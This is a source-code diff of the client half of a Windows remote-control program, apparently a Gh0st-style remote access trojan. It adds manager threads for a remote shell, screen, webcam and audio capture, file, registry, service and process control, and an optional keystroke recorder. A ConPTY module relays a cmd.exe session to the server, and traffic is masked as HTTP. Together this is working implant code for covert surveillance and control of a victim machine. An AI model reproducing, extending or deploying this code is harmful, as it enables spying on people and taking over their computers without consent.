return LoopManager<CSystemManager, COMMAND_SYSTEM>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopWindowManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CSystemManager, COMMAND_WSLIST>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopVideoManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CVideoManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopAudioManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CAudioManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CRegisterManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CServicesManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
||||
{
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
std::string s = cfg.GetStr("settings", "kbrecord", "No");
|
||||
if (s == "Yes") {
|
||||
return LoopManager<CKeyboardManager1, 1>(lParam);
|
||||
}
|
||||
return LoopManager<CKeyboardManager1, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopProxyManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CProxyManager, 0>(lParam);
|
||||
}
|
||||
38
client/Common.h
Normal file
38
client/Common.h
Normal file
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
#include "StdAfx.h"
|
||||
#include "IOCPClient.h"
|
||||
#include "common/commands.h"
|
||||
#include <vector>
|
||||
|
||||
typedef struct _THREAD_ARG_LIST {
|
||||
DWORD (WINAPI *StartAddress)(LPVOID lParameter);
|
||||
LPVOID lParam;
|
||||
bool bInteractive; // 是否支持交互桌面 ??
|
||||
HANDLE hEvent;
|
||||
} THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
|
||||
|
||||
typedef struct UserParam {
|
||||
BYTE* buffer;
|
||||
int length;
|
||||
~UserParam()
|
||||
{
|
||||
SAFE_DELETE_ARRAY(buffer);
|
||||
}
|
||||
} UserParam;
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam);
|
||||
DWORD private_desktop(CONNECT_ADDRESS* conn, const State& exit, const std::string& msg, const std::string& signature,
|
||||
const std::string& hash, const std::string& hmac, const std::vector<BYTE>& bmpData = std::vector<BYTE>());
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
||||
343
client/ConPTYManager.cpp
Normal file
343
client/ConPTYManager.cpp
Normal file
@@ -0,0 +1,343 @@
|
||||
// ConPTYManager.cpp: Windows ConPTY terminal manager implementation
|
||||
// Provides xterm.js compatible terminal for Windows 10 1809+
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ConPTYManager.h"
|
||||
#include "Common.h"
|
||||
#include "../common/commands.h"
|
||||
|
||||
// Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK)
|
||||
#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE
|
||||
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \
|
||||
ProcThreadAttributeValue(22, FALSE, TRUE, FALSE)
|
||||
#endif
|
||||
|
||||
// Static members
|
||||
PFN_CreatePseudoConsole CConPTYManager::s_pfnCreatePseudoConsole = nullptr;
|
||||
PFN_ResizePseudoConsole CConPTYManager::s_pfnResizePseudoConsole = nullptr;
|
||||
PFN_ClosePseudoConsole CConPTYManager::s_pfnClosePseudoConsole = nullptr;
|
||||
bool CConPTYManager::s_bApiLoaded = false;
|
||||
|
||||
bool CConPTYManager::LoadConPTYApi()
|
||||
{
|
||||
if (s_bApiLoaded) {
|
||||
return s_pfnCreatePseudoConsole != nullptr;
|
||||
}
|
||||
s_bApiLoaded = true;
|
||||
|
||||
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
|
||||
if (!hKernel) return false;
|
||||
|
||||
s_pfnCreatePseudoConsole = (PFN_CreatePseudoConsole)GetProcAddress(hKernel, "CreatePseudoConsole");
|
||||
s_pfnResizePseudoConsole = (PFN_ResizePseudoConsole)GetProcAddress(hKernel, "ResizePseudoConsole");
|
||||
s_pfnClosePseudoConsole = (PFN_ClosePseudoConsole)GetProcAddress(hKernel, "ClosePseudoConsole");
|
||||
|
||||
return s_pfnCreatePseudoConsole && s_pfnResizePseudoConsole && s_pfnClosePseudoConsole;
|
||||
}
|
||||
|
||||
bool CConPTYManager::IsConPTYSupported()
|
||||
{
|
||||
return LoadConPTYApi();
|
||||
}
|
||||
|
||||
CConPTYManager::CConPTYManager(IOCPClient* ClientObject, int n, void* user)
|
||||
: CManager(ClientObject)
|
||||
, m_hPC(nullptr)
|
||||
, m_hPipeIn(nullptr)
|
||||
, m_hPipeOut(nullptr)
|
||||
, m_hShellProcess(nullptr)
|
||||
, m_hShellThread(nullptr)
|
||||
, m_hReadThread(nullptr)
|
||||
, m_bRunning(TRUE)
|
||||
, m_cols(80)
|
||||
, m_rows(24)
|
||||
{
|
||||
if (!LoadConPTYApi()) {
|
||||
Mprintf("[ConPTY] API not available\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// Initialize with default size, will be resized when server sends size
|
||||
if (!InitializeConPTY(m_cols, m_rows)) {
|
||||
Mprintf("[ConPTY] Failed to initialize\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// Send terminal start token
|
||||
BYTE bToken = TOKEN_TERMINAL_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
|
||||
// Start read thread immediately, it will wait for server ready internally
|
||||
m_hReadThread = __CreateThread(NULL, 0, ReadThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
CConPTYManager::~CConPTYManager()
|
||||
{
|
||||
m_bRunning = FALSE;
|
||||
|
||||
// Wake up read thread if it's waiting for server ready
|
||||
NotifyDialogIsOpen();
|
||||
|
||||
// Close pipes first to unblock ReadThread
|
||||
if (m_hPipeIn) {
|
||||
CloseHandle(m_hPipeIn);
|
||||
m_hPipeIn = nullptr;
|
||||
}
|
||||
if (m_hPipeOut) {
|
||||
CloseHandle(m_hPipeOut);
|
||||
m_hPipeOut = nullptr;
|
||||
}
|
||||
|
||||
// Wait for read thread with timeout
|
||||
int waitCount = 0;
|
||||
while (m_hReadThread && waitCount < 30) { // 3 second timeout
|
||||
Sleep(100);
|
||||
waitCount++;
|
||||
}
|
||||
|
||||
// Close ConPTY
|
||||
if (m_hPC && s_pfnClosePseudoConsole) {
|
||||
s_pfnClosePseudoConsole(m_hPC);
|
||||
m_hPC = nullptr;
|
||||
}
|
||||
|
||||
// Terminate process if still running
|
||||
if (m_hShellProcess) {
|
||||
DWORD exitCode = 0;
|
||||
if (GetExitCodeProcess(m_hShellProcess, &exitCode) && exitCode == STILL_ACTIVE) {
|
||||
TerminateProcess(m_hShellProcess, 0);
|
||||
}
|
||||
CloseHandle(m_hShellProcess);
|
||||
m_hShellProcess = nullptr;
|
||||
}
|
||||
if (m_hShellThread) {
|
||||
CloseHandle(m_hShellThread);
|
||||
m_hShellThread = nullptr;
|
||||
}
|
||||
}
|
||||
|
||||
bool CConPTYManager::InitializeConPTY(int cols, int rows)
|
||||
{
|
||||
// Create pipes
|
||||
HANDLE hPipeInRead = nullptr, hPipeInWrite = nullptr;
|
||||
HANDLE hPipeOutRead = nullptr, hPipeOutWrite = nullptr;
|
||||
|
||||
if (!CreatePipe(&hPipeInRead, &hPipeInWrite, nullptr, 0)) {
|
||||
Mprintf("[ConPTY] CreatePipe(in) failed: %d\n", GetLastError());
|
||||
return false;
|
||||
}
|
||||
if (!CreatePipe(&hPipeOutRead, &hPipeOutWrite, nullptr, 0)) {
|
||||
Mprintf("[ConPTY] CreatePipe(out) failed: %d\n", GetLastError());
|
||||
CloseHandle(hPipeInRead);
|
||||
CloseHandle(hPipeInWrite);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create pseudo console
|
||||
COORD size = { (SHORT)cols, (SHORT)rows };
|
||||
HRESULT hr = s_pfnCreatePseudoConsole(size, hPipeInRead, hPipeOutWrite, 0, &m_hPC);
|
||||
if (FAILED(hr)) {
|
||||
Mprintf("[ConPTY] CreatePseudoConsole failed: 0x%08X\n", hr);
|
||||
CloseHandle(hPipeInRead);
|
||||
CloseHandle(hPipeInWrite);
|
||||
CloseHandle(hPipeOutRead);
|
||||
CloseHandle(hPipeOutWrite);
|
||||
return false;
|
||||
}
|
||||
|
||||
// We read from hPipeOutRead (cmd output) and write to hPipeInWrite (cmd input)
|
||||
m_hPipeIn = hPipeOutRead;
|
||||
m_hPipeOut = hPipeInWrite;
|
||||
|
||||
// Close handles passed to ConPTY (they're now owned by ConPTY)
|
||||
CloseHandle(hPipeInRead);
|
||||
CloseHandle(hPipeOutWrite);
|
||||
|
||||
// Prepare startup info with pseudo console attribute
|
||||
STARTUPINFOEXW si = {};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrListSize = 0;
|
||||
InitializeProcThreadAttributeList(nullptr, 1, 0, &attrListSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize);
|
||||
if (!si.lpAttributeList) {
|
||||
Mprintf("[ConPTY] HeapAlloc failed\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrListSize)) {
|
||||
Mprintf("[ConPTY] InitializeProcThreadAttributeList failed: %d\n", GetLastError());
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
return false;
|
||||
}
|
||||
|
||||
// PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016
|
||||
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, m_hPC, sizeof(m_hPC), nullptr, nullptr)) {
|
||||
Mprintf("[ConPTY] UpdateProcThreadAttribute failed: %d\n", GetLastError());
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get cmd.exe path
|
||||
WCHAR cmdPath[MAX_PATH] = {};
|
||||
GetSystemDirectoryW(cmdPath, MAX_PATH);
|
||||
wcscat_s(cmdPath, L"\\cmd.exe");
|
||||
|
||||
// Create process
|
||||
PROCESS_INFORMATION pi = {};
|
||||
if (!CreateProcessW(nullptr, cmdPath, nullptr, nullptr, FALSE,
|
||||
EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, &si.StartupInfo, &pi)) {
|
||||
Mprintf("[ConPTY] CreateProcess failed: %d\n", GetLastError());
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
return false;
|
||||
}
|
||||
|
||||
m_hShellProcess = pi.hProcess;
|
||||
m_hShellThread = pi.hThread;
|
||||
m_cols = cols;
|
||||
m_rows = rows;
|
||||
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
|
||||
Mprintf("[ConPTY] Started cmd.exe (PID=%d) with %dx%d terminal\n", pi.dwProcessId, cols, rows);
|
||||
return true;
|
||||
}
|
||||
|
||||
void CConPTYManager::ResizeTerminal(int cols, int rows)
|
||||
{
|
||||
if (m_hPC && s_pfnResizePseudoConsole) {
|
||||
COORD size = { (SHORT)cols, (SHORT)rows };
|
||||
HRESULT hr = s_pfnResizePseudoConsole(m_hPC, size);
|
||||
if (SUCCEEDED(hr)) {
|
||||
m_cols = cols;
|
||||
m_rows = rows;
|
||||
Mprintf("[ConPTY] Resized to %dx%d\n", cols, rows);
|
||||
} else {
|
||||
Mprintf("[ConPTY] ResizePseudoConsole failed: 0x%08X\n", hr);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID CConPTYManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength == 0) return;
|
||||
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_NEXT:
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
|
||||
case CMD_TERMINAL_RESIZE:
|
||||
// Resize command: [cmd:1][cols:2][rows:2]
|
||||
if (ulLength >= 5) {
|
||||
int cols = *(short*)(szBuffer + 1);
|
||||
int rows = *(short*)(szBuffer + 3);
|
||||
ResizeTerminal(cols, rows);
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
// User input - write to PTY
|
||||
if (m_hPipeOut) {
|
||||
DWORD dwWritten = 0;
|
||||
WriteFile(m_hPipeOut, szBuffer, ulLength, &dwWritten, nullptr);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
DWORD WINAPI CConPTYManager::ReadThread(LPVOID lParam)
|
||||
{
|
||||
CConPTYManager* pThis = (CConPTYManager*)lParam;
|
||||
char buffer[4096];
|
||||
|
||||
// Wait for server terminal ready (WebView2 initialization may take time)
|
||||
// Check m_bRunning every 500ms to allow quick exit
|
||||
while (pThis->m_bRunning) {
|
||||
DWORD result = WaitForSingleObject(pThis->m_hEventDlgOpen, 500);
|
||||
if (result == WAIT_OBJECT_0) {
|
||||
break; // Server is ready
|
||||
}
|
||||
// WAIT_TIMEOUT: continue loop and check m_bRunning
|
||||
}
|
||||
|
||||
if (!pThis->m_bRunning) {
|
||||
Mprintf("[ConPTY] Read thread exiting before server ready\n");
|
||||
SAFE_CLOSE_HANDLE(pThis->m_hReadThread);
|
||||
pThis->m_hReadThread = nullptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
Mprintf("[ConPTY] Server ready, starting to read\n");
|
||||
|
||||
while (pThis->m_bRunning) {
|
||||
// Check if process has exited
|
||||
if (pThis->m_hShellProcess) {
|
||||
DWORD exitCode = 0;
|
||||
if (GetExitCodeProcess(pThis->m_hShellProcess, &exitCode)) {
|
||||
if (exitCode != STILL_ACTIVE) {
|
||||
Mprintf("[ConPTY] Process exited with code %d\n", exitCode);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check if pipe handle is still valid
|
||||
if (!pThis->m_hPipeIn) {
|
||||
Mprintf("[ConPTY] Pipe handle is null\n");
|
||||
break;
|
||||
}
|
||||
|
||||
// Check if data is available (non-blocking)
|
||||
DWORD dwAvailable = 0;
|
||||
if (!PeekNamedPipe(pThis->m_hPipeIn, nullptr, 0, nullptr, &dwAvailable, nullptr)) {
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_BROKEN_PIPE || err == ERROR_INVALID_HANDLE) {
|
||||
Mprintf("[ConPTY] Pipe closed (err=%d)\n", err);
|
||||
break;
|
||||
}
|
||||
// Other error, wait and retry
|
||||
Sleep(10);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (dwAvailable == 0) {
|
||||
// No data available, wait a bit
|
||||
Sleep(10);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Read available data
|
||||
DWORD dwRead = 0;
|
||||
DWORD toRead = min(dwAvailable, (DWORD)sizeof(buffer));
|
||||
if (!ReadFile(pThis->m_hPipeIn, buffer, toRead, &dwRead, nullptr)) {
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_BROKEN_PIPE && err != ERROR_INVALID_HANDLE) {
|
||||
Mprintf("[ConPTY] ReadFile failed: %d\n", err);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
if (dwRead > 0) {
|
||||
// Send to server
|
||||
pThis->m_ClientObject->Send2Server(buffer, dwRead);
|
||||
}
|
||||
}
|
||||
|
||||
// Send close notification
|
||||
if (pThis->m_ClientObject) {
|
||||
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
|
||||
pThis->m_ClientObject->Send2Server((char*)&closeToken, 1);
|
||||
Mprintf("[ConPTY] Sent TOKEN_TERMINAL_CLOSE\n");
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(pThis->m_hReadThread);
|
||||
pThis->m_hReadThread = nullptr;
|
||||
Mprintf("[ConPTY] Read thread exited\n");
|
||||
return 0;
|
||||
}
|
||||
60
client/ConPTYManager.h
Normal file
60
client/ConPTYManager.h
Normal file
@@ -0,0 +1,60 @@
|
||||
// ConPTYManager.h: Windows ConPTY terminal manager for xterm.js support
|
||||
// Requires Windows 10 1809+ for ConPTY API
|
||||
|
||||
#ifndef CONPTYMANAGER_H
|
||||
#define CONPTYMANAGER_H
|
||||
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
// ConPTY API types (dynamically loaded)
|
||||
typedef VOID* HPCON;
|
||||
typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC);
|
||||
typedef HRESULT (WINAPI *PFN_ResizePseudoConsole)(HPCON hPC, COORD size);
|
||||
typedef void (WINAPI *PFN_ClosePseudoConsole)(HPCON hPC);
|
||||
|
||||
class CConPTYManager : public CManager
|
||||
{
|
||||
public:
|
||||
CConPTYManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CConPTYManager();
|
||||
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
// Check if ConPTY is supported on this system
|
||||
static bool IsConPTYSupported();
|
||||
|
||||
private:
|
||||
// ConPTY handles
|
||||
HPCON m_hPC;
|
||||
HANDLE m_hPipeIn; // Read from cmd output
|
||||
HANDLE m_hPipeOut; // Write to cmd input
|
||||
HANDLE m_hShellProcess;
|
||||
HANDLE m_hShellThread;
|
||||
HANDLE m_hReadThread;
|
||||
|
||||
// State
|
||||
BOOL m_bRunning;
|
||||
int m_cols;
|
||||
int m_rows;
|
||||
|
||||
// ConPTY API function pointers
|
||||
static PFN_CreatePseudoConsole s_pfnCreatePseudoConsole;
|
||||
static PFN_ResizePseudoConsole s_pfnResizePseudoConsole;
|
||||
static PFN_ClosePseudoConsole s_pfnClosePseudoConsole;
|
||||
static bool s_bApiLoaded;
|
||||
|
||||
// Load ConPTY API
|
||||
static bool LoadConPTYApi();
|
||||
|
||||
// Initialize ConPTY and start cmd.exe
|
||||
bool InitializeConPTY(int cols, int rows);
|
||||
|
||||
// Resize terminal
|
||||
void ResizeTerminal(int cols, int rows);
|
||||
|
||||
// Thread to read from PTY
|
||||
static DWORD WINAPI ReadThread(LPVOID lParam);
|
||||
};
|
||||
|
||||
#endif // CONPTYMANAGER_H
|
||||
202
client/CursorInfo.h
Normal file
202
client/CursorInfo.h
Normal file
@@ -0,0 +1,202 @@
|
||||
// CursorInfor.h: interface for the CCursorInfor class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
// ScreenType enum (USING_GDI, USING_DXGI, USING_VIRTUAL) 已移至 common/commands.h
|
||||
|
||||
#define ALGORITHM_GRAY 0
|
||||
#define ALGORITHM_DIFF 1
|
||||
#define ALGORITHM_DEFAULT 1
|
||||
#define ALGORITHM_H264 2
|
||||
#define ALGORITHM_HOME 3
|
||||
#define ALGORITHM_RGB565 3
|
||||
|
||||
#define MAX_CURSOR_TYPE 16
|
||||
#define MAX_CURSOR_SIZE 64 // 最大光标尺寸
|
||||
#define CURSOR_THROTTLE_MS 50 // 光标发送节流间隔 (ms)
|
||||
#define CURSOR_INDEX_CUSTOM 254 // -2: 使用自定义光标
|
||||
#define CURSOR_INDEX_UNSUPPORTED 255 // -1: 不支持的光标
|
||||
|
||||
// 自定义光标位图信息
|
||||
struct CursorBitmapInfo {
|
||||
WORD hotspotX;
|
||||
WORD hotspotY;
|
||||
BYTE width;
|
||||
BYTE height;
|
||||
DWORD hash;
|
||||
BYTE bgraData[MAX_CURSOR_SIZE * MAX_CURSOR_SIZE * 4]; // 最大 16KB
|
||||
DWORD dataSize;
|
||||
};
|
||||
|
||||
class CCursorInfo
|
||||
{
|
||||
private:
|
||||
LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE];
|
||||
HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE];
|
||||
|
||||
public:
|
||||
CCursorInfo()
|
||||
{
|
||||
LPCTSTR CursorResArray[MAX_CURSOR_TYPE] = {
|
||||
IDC_APPSTARTING,
|
||||
IDC_ARROW,
|
||||
IDC_CROSS,
|
||||
IDC_HAND,
|
||||
IDC_HELP,
|
||||
IDC_IBEAM,
|
||||
IDC_ICON,
|
||||
IDC_NO,
|
||||
IDC_SIZE,
|
||||
IDC_SIZEALL,
|
||||
IDC_SIZENESW,
|
||||
IDC_SIZENS,
|
||||
IDC_SIZENWSE,
|
||||
IDC_SIZEWE,
|
||||
IDC_UPARROW,
|
||||
IDC_WAIT
|
||||
};
|
||||
|
||||
for (int i = 0; i < MAX_CURSOR_TYPE; ++i) {
|
||||
m_CursorResArray[i] = CursorResArray[i];
|
||||
m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]);
|
||||
}
|
||||
}
|
||||
|
||||
int getCurrentCursorIndex() const
|
||||
{
|
||||
CURSORINFO ci;
|
||||
ci.cbSize = sizeof(CURSORINFO);
|
||||
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; i < MAX_CURSOR_TYPE; ++i) {
|
||||
if (ci.hCursor == m_CursorHandleArray[i])
|
||||
break;
|
||||
}
|
||||
|
||||
int nIndex = i == MAX_CURSOR_TYPE ? -1 : i;
|
||||
return nIndex;
|
||||
}
|
||||
|
||||
HCURSOR getCursorHandle( int nIndex ) const
|
||||
{
|
||||
return (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE) ? m_CursorHandleArray[nIndex] : NULL;
|
||||
}
|
||||
|
||||
// 获取当前光标的位图信息(用于自定义光标)
|
||||
bool getCurrentCursorBitmap(CursorBitmapInfo* info) const
|
||||
{
|
||||
if (!info) return false;
|
||||
|
||||
CURSORINFO ci = { sizeof(CURSORINFO) };
|
||||
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
|
||||
return false;
|
||||
|
||||
ICONINFO iconInfo;
|
||||
if (!GetIconInfo(ci.hCursor, &iconInfo))
|
||||
return false;
|
||||
|
||||
// 获取位图信息
|
||||
BITMAP bm = { 0 };
|
||||
HBITMAP hBmp = iconInfo.hbmColor ? iconInfo.hbmColor : iconInfo.hbmMask;
|
||||
if (!GetObject(hBmp, sizeof(BITMAP), &bm)) {
|
||||
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
|
||||
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 限制尺寸
|
||||
int width = min((int)bm.bmWidth, MAX_CURSOR_SIZE);
|
||||
int height = min((int)bm.bmHeight, MAX_CURSOR_SIZE);
|
||||
|
||||
// 如果是掩码位图(无彩色),高度是实际的两倍
|
||||
if (!iconInfo.hbmColor && bm.bmHeight > bm.bmWidth) {
|
||||
height = min((int)bm.bmWidth, MAX_CURSOR_SIZE);
|
||||
}
|
||||
|
||||
info->hotspotX = (WORD)iconInfo.xHotspot;
|
||||
info->hotspotY = (WORD)iconInfo.yHotspot;
|
||||
info->width = (BYTE)width;
|
||||
info->height = (BYTE)height;
|
||||
info->dataSize = width * height * 4;
|
||||
|
||||
// 创建兼容 DC 和位图来获取 BGRA 数据
|
||||
HDC hScreenDC = GetDC(NULL);
|
||||
if (!hScreenDC) {
|
||||
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
|
||||
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
|
||||
return false;
|
||||
}
|
||||
|
||||
HDC hMemDC = CreateCompatibleDC(hScreenDC);
|
||||
if (!hMemDC) {
|
||||
ReleaseDC(NULL, hScreenDC);
|
||||
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
|
||||
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
|
||||
return false;
|
||||
}
|
||||
|
||||
BITMAPINFO bmi = { 0 };
|
||||
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
bmi.bmiHeader.biWidth = width;
|
||||
bmi.bmiHeader.biHeight = -height; // 负数表示从上到下
|
||||
bmi.bmiHeader.biPlanes = 1;
|
||||
bmi.bmiHeader.biBitCount = 32;
|
||||
bmi.bmiHeader.biCompression = BI_RGB;
|
||||
|
||||
void* pBits = NULL;
|
||||
HBITMAP hDibBmp = CreateDIBSection(hScreenDC, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);
|
||||
|
||||
bool success = false;
|
||||
if (hDibBmp && pBits) {
|
||||
HBITMAP hOldBmp = (HBITMAP)SelectObject(hMemDC, hDibBmp);
|
||||
|
||||
// 绘制光标到位图
|
||||
DrawIconEx(hMemDC, 0, 0, ci.hCursor, width, height, 0, NULL, DI_NORMAL);
|
||||
|
||||
// 复制数据
|
||||
memcpy(info->bgraData, pBits, info->dataSize);
|
||||
success = true;
|
||||
|
||||
SelectObject(hMemDC, hOldBmp);
|
||||
DeleteObject(hDibBmp);
|
||||
}
|
||||
|
||||
DeleteDC(hMemDC);
|
||||
ReleaseDC(NULL, hScreenDC);
|
||||
|
||||
// 清理
|
||||
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
|
||||
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
|
||||
|
||||
if (!success) return false;
|
||||
|
||||
// 计算哈希
|
||||
info->hash = calculateBitmapHash(info->bgraData, info->dataSize);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// FNV-1a 哈希算法(采样加速)
|
||||
static DWORD calculateBitmapHash(const BYTE* data, DWORD size)
|
||||
{
|
||||
DWORD hash = 2166136261; // FNV offset basis
|
||||
// 每 16 字节采样一次,加速计算
|
||||
for (DWORD i = 0; i < size; i += 16) {
|
||||
hash ^= data[i];
|
||||
hash *= 16777619; // FNV prime
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||
4
client/ExportFunTable.def
Normal file
4
client/ExportFunTable.def
Normal file
@@ -0,0 +1,4 @@
|
||||
EXPORTS
|
||||
TestRun
|
||||
StopRun
|
||||
Run
|
||||
1184
client/FileManager.cpp
Normal file
1184
client/FileManager.cpp
Normal file
File diff suppressed because it is too large
Load Diff
65
client/FileManager.h
Normal file
65
client/FileManager.h
Normal file
@@ -0,0 +1,65 @@
|
||||
// FileManager.h: interface for the CFileManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "IOCPClient.h"
|
||||
#include "common.h"
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
||||
#include <winsock2.h>
|
||||
#include <list>
|
||||
#include <string>
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
typedef struct {
|
||||
UINT nFileSize; // 文件大小
|
||||
UINT nSendSize; // 已发送大小
|
||||
} SENDFILEPROGRESS, *PSENDFILEPROGRESS;
|
||||
|
||||
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
std::list <std::string> m_UploadList;
|
||||
UINT m_nTransferMode;
|
||||
char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
||||
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
void UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize);
|
||||
void CollectFilesRecursiveV2(const std::string& dirPath, const std::string& basePath, std::vector<std::string>& files);
|
||||
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||
void StopTransfer();
|
||||
